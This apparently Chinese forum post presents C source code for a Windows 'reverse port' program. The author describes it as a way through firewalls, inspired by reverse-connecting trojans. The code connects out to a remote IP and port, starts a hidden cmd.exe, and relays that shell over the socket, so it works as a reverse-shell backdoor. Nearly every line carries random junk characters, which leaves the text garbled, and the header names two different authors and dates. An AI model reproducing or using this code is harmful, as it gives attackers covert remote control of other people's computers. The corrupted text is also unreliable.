Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ih75C"  
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/* ============================== i~<.@&vt  
Rebound port in Windows NT b rDyjh  
By wind,2006/7 Ag(JSVY  
===============================*/ *YQXxIIq  
#include qn{9vr  
#include Sc}Rs  
#-"C_~-MH  
#pragma comment(lib,"wsock32.lib") &h6 `hP_  
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void OutputShell(); 0oi.k;  
SOCKET sClient; A+\rGVNH'S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pD~."fb  
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void main(int argc,char **argv) YF;2jl Nm  
{ c5KciTD^  
WSADATA stWsaData; `tKs|GQf  
int nRet; s{Y-Vdx  
SOCKADDR_IN stSaiClient,stSaiServer; 4QiV@#o:  
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if(argc != 3) 2*n~r  
{ mpIR: Im  
printf("Useage:\n\rRebound DestIP DestPort\n"); l[WX77bp=  
return; ?g*.
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} Ck/w:i@>?  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0Uk;&a0s  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1^WkW\9kO  
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stSaiClient.sin_family = AF_INET; Z)u_2e  
stSaiClient.sin_port = htons(0); <]`|HJoy  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !\Xrl) $j{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tjne[p  
{ <fgf L9-  
printf("Bind Socket Failed!\n"); g+4x  
return; WE /
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} ~sWXd~\  
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stSaiServer.sin_family = AF_INET; >#.
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5'wFZ=>vMt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) es$<Vkbp  
{ Q$yQ^ mG  
printf("Connect Error!"); `Q>qmf_Fi  
return; @.QuIm8,  
} iVM% ]\  
OutputShell(); O&dh<  
} Ff[GR$m
 
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void OutputShell() S'IQbH
z*  
{ j4(f1  
char szBuff[1024]; `4qtmbj  
SECURITY_ATTRIBUTES stSecurityAttributes; Bthp_cSmLs  
OSVERSIONINFO stOsversionInfo; ?y~"\iP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a{kLAx[>  
STARTUPINFO stStartupInfo; J@4 Z+l9  
char *szShell; *Oh]I|?  
PROCESS_INFORMATION stProcessInformation; M&
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unsigned long lBytesRead; *OY Nx4k  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >H]|R }h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;xu&%n[6@  
stSecurityAttributes.lpSecurityDescriptor = 0; AIM
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stSecurityAttributes.bInheritHandle = TRUE; p,mKgL63  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d!4:nvKx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h,i=Y+1  
7<93n`byM  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !<0 `c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ `[T0X  
stStartupInfo.wShowWindow = SW_HIDE; uNvdlY]  
stStartupInfo.hStdInput = hReadPipe; Cuom_+wV&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,mE}#cyY  
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GetVersionEx(&stOsversionInfo); W`jKe-jF  
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switch(stOsversionInfo.dwPlatformId) +!-U+W  
{ j<d,7  
case 1: p3cb_  
szShell = "command.com"; E qt\It9  
break; 7$JE+gL/7  
default: *#
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szShell = "cmd.exe"; zIc_'Z,b  
break; C ?aa)H  
} V6^=[s R  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )JA^FQ5N  
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send(sClient,szMsg,77,0); >u?a#5R:m  
while(1) 8 v<*xy  
{ D'"l%p  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dPF*G$  
if(lBytesRead) srd\Mf_Ej  
{ xHuw ?4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m=D9V-P  
send(sClient,szBuff,lBytesRead,0); aj$&~-/ R  
} M HKnHPv  
else tx}=c5  
{ tjcG^m} _  
lBytesRead=recv(sClient,szBuff,1024,0); @8|i@S@4  
if(lBytesRead<=0) break; L=kETJ:g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O|0,= 5  
} vH>s2\V"  
} VI8/@A1Gv  
)bK3%>H#  
return; (Cbm*VL  
}